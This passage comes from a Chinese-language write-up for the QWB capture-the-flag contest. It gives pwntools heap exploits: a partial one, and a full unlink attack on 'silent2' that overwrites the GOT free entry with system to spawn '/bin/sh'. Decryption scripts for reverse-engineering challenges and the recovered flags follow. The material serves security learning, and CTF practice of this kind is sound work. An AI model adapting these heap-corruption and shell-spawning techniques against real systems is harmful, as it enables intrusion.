edit_chunk(program, 0, '\x30\x07\x40\x00\x00\x00') ## 0x0400730 system
raw_input()

free_chunk(program, 1)

return program

def main():
if MODE == 0: ## local
program = get_shell()
program.interactive()
elif MODE == 1: ## remote
program = get_shell(ip=IP, port=PORT)
#program = get_shell(ip='127.0.0.1', port=17001)

program.interactive()
elif MODE == 3: ## 取回二进制文件
program = get_shell(ip=IP, port=PORT)
program.recv(timeout=1)
program.sendline('cat pwn2')
program.sendline('exit')

recv_data = program.recvall()
fp = open('dump', 'wb')
fp.write(recv_data)
fp.close()



if __name__ == '__main__':
main()


qwbctf{talk_is_cheap_show_m3_the_code}


silent2

考虑 fake malloc chunk 进行 unlink,修改 got 表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#!/usr/bin/env python2
from pwn import *
from ctypes import *
import sys


def pwn():

binary= './silent2'
context.arch = 'amd64'
context.log_level='info'
context.log_level='debug'
elf = ELF(binary)

###########################

try :
libc=ELF('./libc.so')
os.environ['LD_PRELOAD'] = './libc.so'
os.environ['LD_LIBRARY_PATH'] = os.curdir
except:
libcs = [x for x in elf.libs.keys() if 'libc.so' in x]
libc = ELF(libcs[0])
############################

if len(sys.argv) > 2:
HOST = sys.argv[1]
PORT = sys.argv[2]
io = remote(HOST, PORT)
else:
io = process(binary)

############################

def ru(delim):
return io.recvuntil(delim)

def rn(count):
return io.recvn(count)

def sl(data):
sleep(1)
return io.sendline(data)

def sn(data):
return io.send(data)

def uint32(x):
return c_uint32(x).value

def sint32(x):
return c_int32(x).value

def info(comment,addr):
print '#### log ####'
log.info(comment+':%#x',addr)

############################

def free(i):
sl('2')
sl(str(i))

def scan(i,s):
sl('3')
sl(str(i))
sl(s)

def malloc(n,s):
sl('1')
sl(str(n))
sl(s)


def fakechunk():
arch_bytes = 8
heap_buff_size = 0x80
#node1_addr = &p0
node1_addr = 0x6020C0+8*3
pack_fun = p64
heap_node_size = heap_buff_size + 2 * arch_bytes #0x90
p0 = pack_fun(0x0)
p1 = pack_fun(heap_buff_size + 0x01)
p2 = pack_fun(node1_addr - 3 * arch_bytes)
p3 = pack_fun(node1_addr - 2 * arch_bytes)
#p[2]=p-3
#p[3]=p-2
#node1_addr = &node1_addr - 3
node2_pre_size = pack_fun(heap_buff_size)
node2_size = pack_fun(heap_node_size)
data1 = p0 + p1 + p2 + p3 + "".ljust(heap_buff_size - 4 * arch_bytes, '1') + node2_pre_size + node2_size
return data1

malloc(0x80,'x'*0x8)
malloc(0x80,'x'*0x8)
malloc(0x80,'x'*0x8)
malloc(0x80,'0'*0x8)#3
malloc(0x80,'1'*0x8)#4
malloc(0x80,'2'*0x8)
free(3)
free(4)

malloc(0x80+0x10+0x80,fakechunk())#6
free(4)
scan(3,p64(elf.got['free']))
scan(0,p64(elf.plt['system']))
malloc(0x80,'/bin/sh\x00')#7
free(7)
io.interactive()

pwn()
qwbctf{sorry_for_all_the_troubles}


Reverse


picturelock

this.enc(v1_1, this.getFilesDir().getAbsolutePath() + v1_1.substring(v1_1.lastIndexOf("/")) + ".lock", this.j()); 第一个参数是图片路径,第二个大概是输出目录,第三个是签名

enc 在 lib 里面

600C 储存签名

sub_1A48 的第一个参数是图片路径,第二个参数是输出路径

Signature HexData :

f8c49056e4ccf9a1 1e090eaf471f418d 找了一下,似乎是个快速 AES

随便写个脚本就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from Crypto.Cipher import AES
sig = 'f8c49056e4ccf9a11e090eaf471f418d'
f = open('flag.jpg.lock', 'rb')
aes1 = AES.new("f8c49056e4ccf9a1", AES.MODE_ECB)
aes2 = AES.new("1e090eaf471f418d", AES.MODE_ECB)
i = 0
res = ''
while 1:
length = ord(sig[i%32])
t = length % 2
if length < 16:
data = f.read(16)
else:
data = f.read(length)
length = len(data)
if length == 0:
break
if t == 0:
res += aes1.decrypt(data[0:16])
else:
res += aes2.decrypt(data[0:16])
k = 16
for j in data[16:]:
res += chr(ord(j) ^ ord(sig[k%32]))
k += 1
i += 1
f = open('flag.jpg','wb')
f.write(res)
f.close()


simplecheck

程序读入一个字符串,把内存中的一些数据做解密,然后对比。

关键代码: if((a[i]!=b[i]*ans[i]*ans[i]+c[i]*ans[i]+d[i]) or (a[i+1]!=b[i]*ans[i+1]*ans[i+1]+c[i]*ans[i+1]+d[i]))

根据下个循环,可以得出一个一元二次方程组,来保证唯一解

flag{MAth_i&_GOOd_DON7_90V_7hInK?}


hide

dump 内存,丢 IDA f5

调试 catch ptrace

发现真正的验证函数

解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
def decrypt(data):
delta = 0x676E696C
rounds = 8
key = [1883844979, 1165112144, 2035430262, 861484132]
for i in range(len(key)):
key[i] %= 0x100000000

summ = delta * rounds;
v0 = u32(data[:4])
v1 = u32(data[4:8])

for i in range(rounds):
v1 -= ((((v0 << 4) % 0x100000000) ^ (v0 >> 5)) + v0) ^ (summ + key[(summ >> 11) & 3])
v1 %= 0x100000000
summ -= delta;
v0 -= ((((v1 << 4) % 0x100000000) ^ (v1 >> 5)) + v1) ^ (summ + key[summ & 3])
v0 %= 0x100000000


return p32(v0) + p32(v1)


def xor(s):
ret = ''
for i in range(len(s)):
ret += chr(ord(s[i])^i)
return ret

def a():
s0 = [0x52, 0xB8, 0x13, 0x7F, 0x35, 0x8C, 0xF2, 0x1B, 0xF4, 0x63, 0x86, 0xD2, 0x73, 0x4F, 0x1E, 0x31]
s = ''
for i in range(len(s0)):
s += chr(s0[i])
print(s)
for i in range(3):
b = xor(s)
s = decrypt(b[0:8]) + decrypt(b[8:16])
print(s, len(s))
print(s, len(s))
a()
qwb{f1Nd_TH3HldeC0dE}